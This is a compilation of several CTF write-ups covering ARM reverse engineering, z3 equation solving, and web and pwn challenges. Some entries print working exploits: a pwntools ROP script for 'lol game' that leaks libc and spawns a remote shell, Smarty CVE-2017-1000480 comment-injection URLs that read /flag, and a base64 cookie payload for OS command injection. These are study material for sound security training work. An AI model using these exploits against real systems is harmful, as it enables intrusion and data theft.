text_chunk
stringlengths 151
703k
|
---|
# Junuior ARM1 - easy
**Category:** rev**Points:** 41**Solves:** 269**Description:**
Can you reverse engineer this code and get the flag?
This code is ARM Thumb 2 code which runs on an STM32F103CBT6. You should not need such a controller to solve this challenge.
There are 5 stages in total which share all the same code base, so you are able to compare code from the first stage with all the other stages to see what code is actually relevant.
If you should need a datasheet, [you can get it here](http://www.st.com/content/ccc/resource/technical/document/reference_manual/59/b9/ba/7f/11/af/43/d5/CD00171190.pdf/files/CD00171190.pdf/jcr:content/translations/en.CD00171190.pdf).
In case you need to refresh your ARM assembly, [check out Azeria's cool articles](https://azeria-labs.com/writing-arm-assembly-part-1/).
[Challenge binary](arm_stage1.bin)
## Write-up
We can:1. get strings from file```pc@pc:~/Desktop$ strings arm_stage1.bin | grep 34C3FpGThe flag is: 34C3_I_4dm1t_it_1_f0und_th!s_with_str1ngs```2. reverse it! :D
Load file in IDA, set "Processor type" to "ARM little-endian", then set "ROM start address" and "Loading address" to 0x8000000.
sub_8000108 - is first function(entry point), and only call function sub_8000478, sub_8000478 call sub_8000290, sub_8000290 is main.
In main we have code like this```Cvoid main(void) { sub_80003F8(); sub_8000304(); print_text("The flag is: 34C3_I_4dm1t_it_1_f0und_th!s_with_str1ngs\r\n"); while ( 1 ) ;}```3. After reverse we found out that we could just run file(in emulator)
Flag is: **34C3_I_4dm1t_it_1_f0und_th!s_with_str1ngs** |
# Full WriteUpFull Writeup on our website: [http://www.aperikube.fr/docs/acebear_2018_memory/](http://www.aperikube.fr/docs/acebear_2018_memory/)
-----# TL;DR*Memory* is a Windows memory dump, quickly identified with *AutoVol*. In the *C:\Users\Administrator\Documents* there are 2 *rtf* files:
* document.rtf: Containing a spam message* usc_command.rtf: Containing a writeup of “Just Keyp Trying” challenge from PicoCTF 2017.
After a quick search on internet, there is a steganography technique called *spammimic*. It uses spam to hide the real message.
To encode / decode spammimic message: [http://www.spammimic.com/](http://www.spammimic.com/)
After that I obtained a base64 string. It’s a google sheet identifier (in the URL).
And the flag is in the sheet. |
# ▼▼▼CODE BLUE Snippet (Web:289pt、24/555team=4.3%)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```We developed the awesome snippet service. Have a try!http://cbs.tasks.ctf.codeblue.jp
Source Code(Old): src.zip
Updated on 11/10 at 6:30(UTC+0900):この問題はミスにより、非常に簡単になる非想定の解法がありました。協議の結果、このミスを修正した上で、全チーム間で公平になるよう、元の問題のフラッグを公開します。CBCTF{plz fix PHP Bug #72374} ( このフラグは現在有効ではありません )
Source Code (Updated): src-updated.zip```
-----## 【Goal】【index.php】```if (file_exists($USER_DIR . '/is_admin')) { exit($FLAG);}```
↓
ゴールは、is_adminをアップロードできればflagが得られる。
-----
【config.php】```open($tmpfile);$zip->extractTo($USER_DIR);
$zip->close();
header('Location: /');```
↓
アップロードするファイル名と、ファイルの中身と秘密鍵で計算された値が合致しないとアップロードできないことがわかる。
-----
## 【TRY1:任意コマンド実行を試みる】
phpファイルをアップロードしても実行されず。NG
↓
次に、.htaccessの設定ファイルのアップロードを試みる。
↓
ファイル名のドットが検知される。NG
-----
## 【TRY2:秘密鍵($MY_SECRET)を特定することを試みる】【export.php】```open($tmpfile, ZipArchive::CREATE);$options = array('remove_path' => $_GET['dir']);
$dir = trim($_GET['dir'], '/');$zip->addGlob($dir . '/*', 0, $options);
$zip->close();
$hmac = hash_hmac('sha256', file_get_contents($tmpfile), $MY_SECRET);header("Content-Disposition: attachment; filename='${hmac}.zip'");readfile($tmpfile);
unlink($tmpfile);```
↓
```$hmac = hash_hmac('sha256', file_get_contents($tmpfile), $MY_SECRET);header("Content-Disposition: attachment; filename='${hmac}.zip'");```
↓
file_get_contents($tmpfile)が空、つまりフォルダに空の状態でエクスポートすると
↓
220d546185ad9fd41e4ab2ac6740eddd581e5e87dde387288ccfae729f53e4ae.zip
↓
値をGoogle検索してみたが見つからない。特定は難しい。NG
-----
## 【TRY3:dirパラメータで1つ上の階層のconfig.phpをexportすることを試みる】
↓
```if (preg_match('/\.|\\\\|^\//', $_GET['dir']) === 1) { die('hello hacker :(');}```
↓
`../`が通らないので無理そう。
-----
## 【TRY4:file_get_contents($tmpfile)からURLでRFIすることを試みる】【import.php】
↓
```$hmac = hash_hmac('sha256', file_get_contents($tmpfile), $MY_SECRET);```
↓
```POST /post.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: cbs.tasks.ctf.codeblue.jpCookie: PHPSESSID=b4e4a199b9f1f8d40a9235d50fd7cba1
filename="https://requestb.in/rq9prarq"```
↓
リクエストが来ない
↓
設定でURLは無効にされていると思われる。NG。
-----
importでis_adminファイルをアップロードすればチェックされない!★しかしファイル名を秘密鍵($MY_SECRET)で計算された値にする必要がある。
↓
is_adminが圧縮されたものをexportできれば値が合致する圧縮ファイルが得られる
↓
## 【TRY5:ZipArchive::addGlobのバグ(https://bugs.php.net/bug.php?id=72374)】途中で問題がfixされ、前回のflagが全体に公開された`CBCTF{plz fix PHP Bug #72374}`からもこれで確定。
↓
圧縮時にフォルダ名の最後に/を付与するとファイル名が1文字削除されて圧縮されるようだ。
【解法】
よって、`is_admin`ファイルの先頭に任意の1文字を付与(例えば、`ais_admin`)してPOSTでファイルを書き込む
↓
```POST /post.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: cbs.tasks.ctf.codeblue.jpCookie: PHPSESSID=b4e4a199b9f1f8d40a9235d50fd7cba1
filename=ais_admin&contents=```
次に、ファイルエクスポートで、dirの最後に`/`を入れることで、ファイル名の先頭1文字が削除されてzipファイルに圧縮される。
↓
```GET /export.php?dir=d6ac5615e8af00915a76b8c2770091e7/ HTTP/1.1Host: cbs.tasks.ctf.codeblue.jp```
↓
```HTTP/1.1 200 OKDate: Fri, 10 Nov 2017 06:02:43 GMTServer: Apache/2.4.10 (Debian)X-Powered-By: PHP/7.0.25Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-Disposition: attachment; filename='e6cbcd0602de36546bcb36cea427817a933730b3bd64a65d9f2a65bd7dbea90d.zip'Vary: Accept-EncodingContent-Length: 394Connection: closeContent-Type: text/html; charset=UTF-8
PK~(省略)~```
↓
全てのファイルの先頭1文字目が削除されるので、`ais_admin`⇒`is_admin`となる。
↓
これでis_adminファイルを含む秘密鍵($MY_SECRET)で計算された値と合致する圧縮ファイルが得られた```e6cbcd0602de36546bcb36cea427817a933730b3bd64a65d9f2a65bd7dbea90d.zip```
↓
これをインポートするとis_adminをアップロードできる
↓
`CBCTF{sorry-we-had-a-pitty-bug;;}` |
# ▼▼▼Cookie Harrelson(Web:200)、338/948team=35.7%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```Woody Harrelson has decided to take up web dev after learning about Cookies. Show him that he should go back to killing zombies.
http://cookieharrelson.tuctf.com```
-----
```GET / HTTP/1.1Host: cookieharrelson.tuctf.com```
↓
`Set-Cookie: tallahassee=Y2F0IGluZGV4LnR4dA%3D%3D; expires=Mon, 25-Dec-2017 05:40:09 GMT; Max-Age=2592000; path=/`
↓
Cookieの値`Y2F0IGluZGV4LnR4dA%3D%3D`をBase64でデコード
↓
`cat index.txt`
↓
Cookieに挿入すれば、任意のOSコマンドを実行できそう。
-----
まず、Cookieの値を上記の値のまま送信してみる
↓
```GET / HTTP/1.1Host: cookieharrelson.tuctf.comCookie: tallahassee=Y2F0IGluZGV4LnR4dA%3D%3D```
↓
そのまま送信しても同じ値が返ってくることがわかった。`Y2F0IGluZGV4LnR4dA%3D%3D`
-----
`cat flag.txt`をbase64でエンコードした値`Y2F0IGluZGV4LnR4dA%3D%3D`を送信してみる
↓
```GET / HTTP/1.1Host: cookieharrelson.tuctf.comCookie: tallahassee=Y2F0IGluZGV4LnR4dA%3D%3D```
↓
```Set-Cookie: tallahassee=Y2F0IGluZGV4LnR4dA%3D%3D; expires=Mon, 25-Dec-2017 05:40:09 GMT; Max-Age=2592000; path=/```
↓
`Y2F0IGluZGV4LnR4dA%3D%3D`
↓Base64デコード
`cat index.txt #cat flag.txt`
↓
#でコメントアウトされるようだ。
↓
改行すれば任意のOSコマンドを実行できる
-----
`%0als`をBase64でエンコードした値`Cmxz`を送信する
↓
```GET /index.php HTTP/1.1Host: cookieharrelson.tuctf.comCookie:tallahassee=Cmxz;```
↓
```There's no way you can steal the flag from Woody Harrelson's Cookies!!flag1337imagesindex.phpindex.txt```
↓
`%0acat flag1337`をBase64でエンコードした値`CmNhdCBmbGFnMTMzNw==`を送信する
↓
```GET /index.php HTTP/1.1Host: cookieharrelson.tuctf.comCookie: tallahassee=CmNhdCBmbGFnMTMzNw==```
↓
`Flag: TUCTF{D0nt_3x3cut3_Fr0m_C00k13s}`
-----
(参考:ソースコードの取得)
`cat index.php`をBase64でエンコードした値`CmNhdCBpbmRleC5waHA=`を送信する
↓
```
``` |
# **=== lol game (Pwn: 14 solves / 831 pt) ===**
```from pwn import *import sys
#context(os='linux', arch='i386')#context.log_level = 'debug'
BINARY = './LOLgame'elf = ELF(BINARY)# # Although libc is not given, it can be searched at the following URL.# https://libc.blukat.me/# => "libc6-i386_2.24-9ubuntu2_amd64"#
puts_plt_addr = elf.plt['puts']puts_got_addr = elf.got['puts']main_addr = 0x8048430
if len(sys.argv) > 1 and sys.argv[1] == 'r': s = remote("lolgame.acebear.site", 3004) remote = 1else: s = process(BINARY) libc = elf.libc remote = 0
def Play(point): s.recvuntil("Your Choice:\n") s.sendline("1") s.recvuntil("Enter Your Bet Point: ") s.sendline("-" + str(point)) for i in range(1, 4): s.recvuntil("Enter row: ") s.sendline(str(i)) s.recvuntil("Enter column: ") s.sendline(str(i))
def Change(name): s.recvuntil("Your Choice:\n") s.sendline("3") s.recvuntil("Enter your name: \n") s.sendline(name)
def Exit(): s.recvuntil("Your Choice:\n") s.sendline("4")
s.recvuntil("Enter your name: \n")s.sendline("1")
Change("A"*16+"\x39")Play(puts_plt_addr) # change return address => PLT address of puts() Change("A"*16+"\x3a")Play(main_addr) # return main()Change("A"*16+"\x3b")Play(puts_got_addr) # for leaking GOT address of puts()
Exit()
r = s.recv(4)r = s.recv(0x18)puts_addr = u32(r[0:4])if remote : libc_base_addr = puts_addr - 0x05f940 # libc6-i386_2.24-9ubuntu2.2_amd64 system_addr = libc_base_addr + 0x03a900 # libc6-i386_2.24-9ubuntu2.2_amd64 binsh_addr = libc_base_addr + 0x15d00f # libc6-i386_2.24-9ubuntu2.2_amd64else: libc_base_addr = puts_addr - libc.symbols['puts'] system_addr = libc_base_addr + libc.symbols['system'] binsh_addr = libc_base_addr + next(libc.search('/bin/sh'))
print "puts_addr =", hex(puts_addr)print "libc_base_addr =", hex(libc_base_addr)print "system_addr =", hex(system_addr)print "binsh_addr =", hex(binsh_addr)
s.recvuntil("Enter your name: \n")s.sendline("1")
Change("A"*16+"\x39")Play(system_addr)Change("C"*16+"\x3b")Play(binsh_addr)
Exit()
s.interactive()```
```root@kali: # python exploit.py r Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)[+] Opening connection to lolgame.acebear.site on port 3004: Doneputs_addr = 0xf7e22940libc_base_addr = 0xf7dc3000system_addr = 0xf7dfd900binsh_addr = 0xf7f2000f[*] Switching to interactive modeBye!$ iduid=1000(lolgame) gid=1000(lolgame) groups=1000(lolgame)$ cd /home/lolgame$ cat flagAceBear{tH4_r00t_1s_pr0gr4m_l3u7_u_are_hum4n}``` |
# lol game**Category:** Pwnable**Points:** 831**Solves:** 14**Description:**> Download in : [Link](https://drive.google.com/open?id=15XYB41jAtwH58LxNDhRQSXWHaqzJ9cdZ)> Service: nc armexploit.acebear.site 3004
## Writeup```$ file LOLgame LOLgame: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a9d22e211c215fa4e68630a6cf0c9eeb610eba24, stripped```
### The BugBinary has some functions: Play, showScore, ChangeName and exit.
Function ChangeName:```cint __cdecl main(){ char name; // [esp+4h] [ebp-E4h] char round; // [esp+14h] [ebp-D4h] ... ChangeName(&name); ...}``````cint __cdecl ChangeName(void *buf){ ssize_t size; // eax int result; // eax ssize_t _size; // [esp+Ch] [ebp-Ch]
size = read(0, buf, 0x11u); _size = size; result = *(buf + size - 1); if ( result == 10 ) { result = buf + _size - 1; *result = 0; } return result;}```
We can see stack overflow in ChangeName function.* name in ebp-0xE4* round in ebp-0xD4* but read(0, name, 0x11)so we can overwrite **round** variable.
In Play function:* We can bet any points (both positive and negative number)* We always lose, then *(&game->round + game->round) = -bet;
We can control game->round by ChangeName function, we can bet any points. So we can overwrite return address on stack.
### Exploit[lolgame.py](/pwn/lolgame/lolgame.py)```$ python lolgame.py 2[+] Opening connection to lolgame.acebear.site on port 3004: Done[*] write at 57 value 0x80483c0[*] write at 58 value 0x8048a2a[*] write at 59 value 0x8049108[*] printf: 0xf7dab880[*] baselibc: 0xf7d62000[*] system: 0xf7d9c900[*] str_bin_sh: 0xf7ebf00f[*] write at 55 value 0xf7d9c900[*] write at 56 value 0x8048a2a[*] write at 57 value 0xf7ebf00f?[*] Switching to interactive modeBye!$ iduid=1000(lolgame) gid=1000(lolgame) groups=1000(lolgame)$ cat /ho*/*/flagAceBear{tH4_r00t_1s_pr0gr4m_l3u7_u_are_hum4n}$ ```
|
# Smart-Y
This challenge was the second most flagged Web challenge of the CTF.
## Description
```Last year, a nerd destroyed the system of Robot City by using some evident flaws. It seems that the system has changed and is not as evident to break now.http://smart-y.teaser.insomnihack.ch```
## Recon
The description evokes a previous challenge from Insomni'hack 2017. Wetherefore started by looking for the[writeup](https://terryvogelsang.tech/insomnihack-2017-nerdwar/) of thischallenge. At this point, it seems likely that the website uses the Smartyframework - which is confirmed by the name of the challenge - and that theSQLi as well as the template injection from the previous edition have beenpatched.
The output of `dirb` indicates that the **smarty** directory exists and containsthe following **changelog.txt** file:
```===== 3.1.31 ===== (14.12.2016) 23.11.2016 - move template object cache into static variables```
The functionality that was vulnerable to SQL injection through the fetchfunction before has been deactivated.However, the display function is still available:
```php".htmlspecialchars("<<<DEBUG>>>").""; $source = $template; $mtime = time(); } } // Smarty configuration $smarty = new Smarty(); $my_security_policy = new Smarty_Security($smarty); $my_security_policy->php_functions = null; $my_security_policy->php_handling = Smarty::PHP_REMOVE; $my_security_policy->modifiers = array(); $smarty->enableSecurity($my_security_policy); $smarty->setCacheDir(SMARTY_CACHE_DIR); $smarty->setCompileDir(SMARTY_COMPILE_DIR);
$smarty->registerResource('news',new news); $smarty->display('news:'.(isset($_GET['id']) ? $_GET['id'] : '')); ```
This version of Smarty is vulnerable to[CVE-2017-1000480](https://www.cvedetails.com/cve/CVE-2017-1000480/).Unfortunately, we couldn't find any public exploit for it. After digging throughthe repository of Smarty, we identified the [commit](https://github.com/smarty-php/smarty/commit/614ad1f8b9b00086efc123e49b7bb8efbfa81b61)introducing a patch.
The patch is the following:```php- $output .= "/* Smarty version " . Smarty::SMARTY_VERSION . ", created on " . strftime("%Y-%m-%d %H:%M:%S") .- "\n from \"" . $_template->source->filepath . "\" */\n\n";+ $output .= "/* Smarty version {Smarty::SMARTY_VERSION}, created on " . strftime("%Y-%m-%d %H:%M:%S") .+ "\n from \"" . str_replace('*/','* /',$_template->source->filepath) . "\" */\n\n";```
The patch prevents the user from closing the comment with `*/`.Since the website uses a version of Smarty that doesn't contain this patch,we should be able to **close the comment and inject our own code**.
Let's try it. ## Exploit We start by listing the root directory by visiting the following URL:`http://smart-y.teaser.insomnihack.ch/console.php?id=*/var_dump(scandir(%27/%27));/*`.
This outputs the following result:``` array(28) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(3) "bin" [3]=> string(4) "boot" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(4) "flag" [7]=> string(4) "home" [8]=> string(10) "initrd.img" [9]=> string(14) "initrd.img.old" [10]=> string(3) "lib" [11]=> string(5) "lib64" [12]=> string(10) "lost+found" [13]=> string(5) "media" [14]=> string(3) "mnt" [15]=> string(3) "opt" [16]=> string(4) "proc" [17]=> string(4) "root" [18]=> string(3) "run" [19]=> string(4) "sbin" [20]=> string(4) "snap" [21]=> string(3) "srv" [22]=> string(3) "sys" [23]=> string(3) "tmp" [24]=> string(3) "usr" [25]=> string(3) "var" [26]=> string(7) "vmlinuz" [27]=> string(11) "vmlinuz.old"}```
It worked! Now that we got the path to the flag, all that's left is toactually print it by visiting:`http://smart-y.teaser.insomnihack.ch/console.php?id=*/var_dump(file_get_contents(%22/flag%22));/*`.
Aaaand, here's the flag:
**string(26) "INS{why_being_so_smart-y}"**
## Conclusion
Smart-Y was a really nice challenge, which mainly required to carefully reada patch. Funnily enough, it seems that the patch is not yet available in astable Smarty release. |
[https://github.com/ssspeedgit00/CTF/tree/master/2017/HITCON_2017_quals/Re_Easy_to_say](https://github.com/ssspeedgit00/CTF/tree/master/2017/HITCON_2017_quals/Re_Easy_to_say)
```asmpush rsppop rsixor edx,espsyscalljne 0xfffffffffffffffc```* Use return value of `read` to control `rax`.* rdx = edx ^ esp ^ esp = 0* Trigger `execveat( 0 , "/bin/sh" , 0 , 0 )`, see the detials in the exploit code. |
# Junuior ARM4 - mid
**Category:** rev**Points:** 290**Solves:** 11**Description:**
Can you reverse engineer this code and get the flag?
This code is ARM Thumb 2 code which runs on an STM32F103CBT6. You should not need such a controller to solve this challenge.
There are 5 stages in total which share all the same code base, so you are able to compare code from the first stage with all the other stages to see what code is actually relevant.
If you should need a datasheet, [you can get it here](http://www.st.com/content/ccc/resource/technical/document/reference_manual/59/b9/ba/7f/11/af/43/d5/CD00171190.pdf/files/CD00171190.pdf/jcr:content/translations/en.CD00171190.pdf).
In case you need to refresh your ARM assembly, [check out Azeria's cool articles](https://azeria-labs.com/writing-arm-assembly-part-1/).
[Challenge binary](arm_stage4.bin)
## Write-up
Load file in IDA, set "Processor type" to "ARM little-endian", then set "ROM start address" and "Loading address" to 0x8000000.
sub_8000108 - is first function(entry point), and only call function sub_8001180, sub_8001180 call sub_8000290, sub_8000290 is main.
We add segment 0x20000000-0x20005000 and in main we have code like this```Cvoid main(void) { sub_8001100(); sub_8000FE8(); print_text("Enter flag: "); for ( unsigned int i = 0; i <= 13; ++i ) { flag[i] = sub_80010DC(); read_char(flag[i]); // read 14 bytes } print_text("\r\n"); if ( 34 * flag[13] + -4 * (flag[1] - 5 * flag[0] - 16 * flag[2] + 3 * flag[3]) - 73 * flag[4] - 65 * flag[5] + 77 * flag[6] + 20 * flag[7] - 66 * flag[8] + 4 * flag[9] - 58 * flag[10] - 6 * flag[11] + 94 * flag[12] != 8701 || -48 * flag[13] + -66 * flag[0] + 56 * flag[1] - 37 * flag[2] - 8 * flag[3] - 26 * flag[4] - 79 * flag[5] - 28 * flag[6] - 99 * flag[7] - 87 * flag[8] - 86 * flag[9] + 71 * flag[10] - 69 * flag[11] - 43 * flag[12] != -40417 || 38 * flag[13] + 93 * flag[0] + 77 * flag[1] - 43 * flag[2] - 19 * flag[3] + 99 * flag[4] + 61 * flag[5] + 5 * flag[6] - 67 * flag[7] - 60 * flag[8] + 88 * flag[9] + 41 * flag[10] + 19 * flag[11] + 70 * flag[12] != 34075 || (flag[13] << 6) + -44 * flag[0] - 32 * flag[1] - 30 * flag[2] + 5 * flag[3] + 56 * flag[4] - 28 * flag[5] + 61 * flag[6] + 9 * flag[7] + 80 * flag[8] + 40 * flag[9] - 66 * flag[10] - 42 * flag[11] + 62 * flag[12] != 17090 || -40 * flag[13] + -61 * flag[0] + 46 * flag[1] + 35 * flag[2] - 33 * flag[3] + 91 * flag[4] - 13 * flag[5] - 39 * flag[6] + 7 * flag[7] + 51 * flag[8] + 93 * flag[9] + 55 * flag[10] + 49 * flag[11] + 94 * flag[12] != 31516 || 33 * flag[13] + 17 * flag[0] - 61 * flag[1] + 51 * flag[2] + 26 * flag[3] + 75 * flag[4] + 14 * flag[5] - 32 * flag[6] - 46 * flag[7] - 10 * flag[8] - 36 * flag[9] + 81 * flag[10] + 69 * flag[11] - 32 * flag[12] != 10846 || 29 * flag[13] + 69 * flag[0] - 92 * flag[1] + 24 * flag[2] - 33 * flag[3] + 16 * flag[4] + 57 * flag[5] - 31 * flag[6] + 91 * flag[7] + 85 * flag[8] + 72 * flag[9] + 23 * flag[10] + 21 * flag[11] + 45 * flag[12] != 31883 || -66 * flag[13] + -22 * flag[0] + 21 * flag[1] + 52 * flag[2] + 71 * flag[3] + 76 * flag[4] - 80 * flag[5] - 97 * flag[6] + 4 * flag[7] + 99 * flag[8] - 7 * flag[9] - 43 * flag[10] - 13 * flag[11] + 37 * flag[12] != -2288 || -63 * flag[13] + -59 * flag[0] + 74 * flag[1] + 65 * flag[2] + 61 * flag[3] - 21 * flag[4] - 9 * flag[5] + 44 * flag[6] + 13 * flag[7] + 30 * flag[8] + 13 * flag[9] - 69 * flag[10] - 2 * flag[11] + 9 * flag[12] != 891 || 74 * flag[13] + 51 * flag[0] + 58 * flag[1] + 16 * flag[2] + 58 * flag[3] + 83 * flag[4] + 30 * flag[5] - 57 * flag[6] - 27 * flag[7] - 28 * flag[8] + 94 * flag[9] + 55 * flag[10] + 72 * flag[11] - 96 * flag[12] != 24772 || 56 * flag[13] + 68 * flag[0] - 5 * flag[1] + 19 * flag[2] - 85 * flag[3] + 38 * flag[4] + 84 * flag[5] + 17 * flag[6] + 77 * flag[7] - 98 * flag[8] - 37 * flag[9] - 38 * flag[10] + 32 * flag[11] - 45 * flag[12] != 7094 || 59 * flag[13] + 13 * flag[0] + 99 * flag[1] - 21 * flag[2] + 58 * flag[3] + 26 * flag[4] + 18 * flag[5] - 87 * flag[6] + 26 * flag[7] - 77 * flag[8] - 47 * flag[9] + 33 * flag[10] - 45 * flag[11] - 78 * flag[12] != -4767 || 31 * flag[13] + -95 * flag[0] + 63 * flag[1] + 18 * flag[2] - 12 * flag[3] + 56 * flag[4] - 77 * flag[5] + 68 * flag[6] + 70 * flag[7] + 54 * flag[8] + 41 * flag[9] + 25 * flag[10] - 78 * flag[11] + 43 * flag[12] != 27400 || -78 * flag[13] + 22 * flag[0] - 33 * flag[1] - 31 * flag[2] - 46 * flag[3] + 20 * flag[4] + 80 * flag[5] - 54 * flag[6] + 55 * flag[7] + 77 * flag[8] + 94 * flag[9] - 89 * flag[10] + 51 * flag[11] - 27 * flag[12] != -4494 ) { print_text("Wrong!\r\n"); } else { print_text("Correct!\r\n"); } while ( 1 ) ;}```
Readed flag started from 0x20000444, and we have
Solver```pythonfrom z3_staff import * # https://github.com/KosBeg/z3_staff
var_num = 14create_vars(var_num, size=8)solver()init_vars(globals())set_ranges(var_num)
set_known_bytes('34C3_', var_num, type='start') # set flagFormat
add_eq(34*x13+-4*(x1+-5*x0+-16*x2+3*x3)+-73*x4+-65*x5+77*x6+20*x7+-66*x8+4*x9+-58*x10+-6*x11+94*x12==8701)add_eq(-48*x13+-66*x0+56*x1+-37*x2+-8*x3+-26*x4+-79*x5+-28*x6+-99*x7+-87*x8+-86*x9+71*x10+-69*x11+-43*x12==-40417)add_eq(38*x13+93*x0+77*x1+-43*x2+-19*x3+99*x4+61*x5+5*x6+-67*x7+-60*x8+88*x9+41*x10+19*x11+70*x12==34075)add_eq((x13<<6)+-44*x0+-32*x1+-30*x2+5*x3+56*x4+-28*x5+61*x6+9*x7+80*x8+40*x9+-66*x10+-42*x11+62*x12==17090)add_eq(-40*x13+-61*x0+46*x1+35*x2+-33*x3+91*x4+-13*x5+-39*x6+7*x7+51*x8+93*x9+55*x10+49*x11+94*x12==31516)add_eq(33*x13+17*x0+-61*x1+51*x2+26*x3+75*x4+14*x5+-32*x6+-46*x7+-10*x8+-36*x9+81*x10+69*x11+-32*x12==10846)add_eq(29*x13+69*x0+-92*x1+24*x2+-33*x3+16*x4+57*x5+-31*x6+91*x7+85*x8+72*x9+23*x10+21*x11+45*x12==31883)add_eq(-66*x13+-22*x0+21*x1+52*x2+71*x3+76*x4+-80*x5+-97*x6+4*x7+99*x8+-7*x9+-43*x10+-13*x11+37*x12==-2288)add_eq(-63*x13+-59*x0+74*x1+65*x2+61*x3+-21*x4+-9*x5+44*x6+13*x7+30*x8+13*x9+-69*x10+-2*x11+9*x12==891)add_eq(74*x13+51*x0+58*x1+16*x2+58*x3+83*x4+30*x5+-57*x6+-27*x7+-28*x8+94*x9+55*x10+72*x11+-96*x12==24772)add_eq(56*x13+68*x0+-5*x1+19*x2+-85*x3+38*x4+84*x5+17*x6+77*x7+-98*x8+-37*x9+-38*x10+32*x11+-45*x12==7094)add_eq(59*x13+13*x0+99*x1+-21*x2+58*x3+26*x4+18*x5+-87*x6+26*x7+-77*x8+-47*x9+33*x10+-45*x11+-78*x12==-4767)add_eq(31*x13+-95*x0+63*x1+18*x2+-12*x3+56*x4+-77*x5+68*x6+70*x7+54*x8+41*x9+25*x10+-78*x11+43*x12==27400)add_eq(-78*x13+22*x0+-33*x1+-31*x2+-46*x3+20*x4+80*x5+-54*x6+55*x7+77*x8+94*x9+-89*x10+51*x11+-27*x12==-4494)
i = 0start_time = time.time()while s.check() == sat: prepare_founded_values(var_num) print prepare_key(var_num) iterate_all(var_num) i += 1print('--- %.2f seconds && %d answer(s) ---' % ((time.time() - start_time), i) )``````34C3_1_d0_m4th--- 0.18 seconds && 1 answer(s) ---```
Flag is: **34C3_1_d0_m4th** |
# arm-exploit**Category:** Pwnable**Points:** 856**Solves:** 13**Description:**> Download in : [Link](https://drive.google.com/open?id=1aM2CTWFxKetOTMNfck71Bxv_ZGw05IzF)> Service: nc armexploit.acebear.site 3001
## Writeup```$ file arm-exploitarm-exploit: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=cbaf26f5088911adc7a36ef8ac96660a33f617d1, not stripped```
### Setup Environment#### Install```sudo apt-get install qemusudo apt-get install qemu-user-static kpartxsudo apt-get install gdb-multiarch```
#### Run```$ qemu-arm-static ./arm-exploit **************************Welcome to Arm Exploit*************************** **************************Challenge Created By CNV************************** Team: AceBear ** My blog: https://chung96vn.blogspot.com/ **********************************************************************************************Arm Exploit******************* ** 1 - info ** 2 - login ** 3 - echo ** 4 - change username ** 5 - exit *************************************************Your choice:```
#### Debug over gdb-multiarchTerminal 1> qemu-arm-static -g 12345 ./arm-exploit
Terminal 2```$ gdb-multiarchpwndbg> set architecture armThe target architecture is assumed to be armpwndbg> target remote localhost:12345Remote debugging using localhost:123450xf67d6a40 in ?? ()... ► f 0 f67d6a40pwndbg>```
#### Run over python script```pythonimport pwntoolsr = process(["qemu-arm-static","-g","12345", "./arm-exploit"]) # run and debugr = process(["qemu-arm-static","./arm-exploit"]) # Just run```
### The BugBinary has some functions: genpass, info, login, echo, change username and exit.
First bug in **change_username** function:* user input max 0x20 bytes into buf on stack* strcpy(USER, buf) if 0x20 bytes buf not null then 0x20 bytes copy into USER and last null bytes will copy to USER+0x20 == isGuestLogin => isGuestLogin = 0 => bypass root login then we can use rootecho function.```.bss:0002209C USER % 0x20 ; DATA XREF: info+28↑o.bss:000220BC isGuestLogin % 4 ; DATA XREF: info+48↑r```
Second bug in **rootecho** function:* buff in FP-0x88 but read 0x100 bytes => stack overflow.```cint rootecho(){ int result; // r0 char s1; // [sp+4h] [bp-88h] _BYTE v2[3]; // [sp+9h] [bp-83h] int v3; // [sp+84h] [bp-8h]
v3 = _bss_start; while ( 1 ) { printf("root@arm-exploit:~$ "); secure_read(&s1, 0x100u); // <======= Bug Here result = strcmp(&s1, "exit"); if ( !result ) break; if ( !strcmp(&s1, "help") ) { puts("List command:"); puts("$ echo argument"); puts("$ exit"); puts("$ help"); } else if ( !memcmp(&s1, "echo ", 5u) ) { puts(v2); } else { puts("Invalid Command! Try help"); } } return result;}```### Exploit[arm_exploit.py](/pwn/arm_exploit/arm_exploit.py)```$ python arm.py 3[+] Opening connection to armexploit.acebear.site on port 3001: Done[*] canary: 0xd4bae800[*] stack: 0xf6fffb34[*] buff: 0xf6fffab0[*] Paused (press any to continue)[*] Switching to interactive mode AAAAAAA?0\x8f��/�xF\x0e0?\x90I\x1a\x92\x1a'�Q\x037?�/bin//shroot@arm-exploit:~$ $ iduid=1000(arm_exploit) gid=1000(arm_exploit) groups=1000(arm_exploit)$ cat /ho*/*/flagAceBear{arm_i5_my_sad_m3m0ry}$```
|
after analyzing the given code source, we see that "p" and "h" are unchangable.So, we should look for them in the first place.To find "p" and "h": simply, we we use the "test mode". Here, we can enter "m" for 2 times. So firstly, we send "0", and for the second time we send "10^21", here we obtain to numbers c1, and c2. we should repeat this step until we got c2>c1. and here we can say that: p=10^21+c1-c2```import socketimport timehote = "random2win.acebear.site"port = 33337socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)socket.connect((hote, port))m=socket.recv(1024)m=socket.recv(1024)socket.send(str(1))m=socket.recv(1024)socket.send("\x00")m=socket.recv(1024)print mp=int("1"+"0"*120)socket.send(hex(p).strip("L")[2:].decode("hex"))m=socket.recv(1024)print m
print "Close"socket.close()``` To get "h", I used a script that I lost :'( . To do it, I send to server two times "0", so I got r1*h%p and r2*h%p. then I cryete a list, were I puted L1=[i*(r1*h)%p for i in list_of_the_inverse_off_element_2_to_222222], and L2=[i*(r2*h)%p for i in list_of_the_inverse_off_element_2_to_222222]. So the only element that while be in the two list is "h". So we get : #p=2129236650498506197214865121017813676962270980934541379925587741818174020229784960110052122450619093813474017151250421361 #h=11305546770736405378819894875529407145124231011999396912086973074056791191623579252993880901245430834195596982773094L
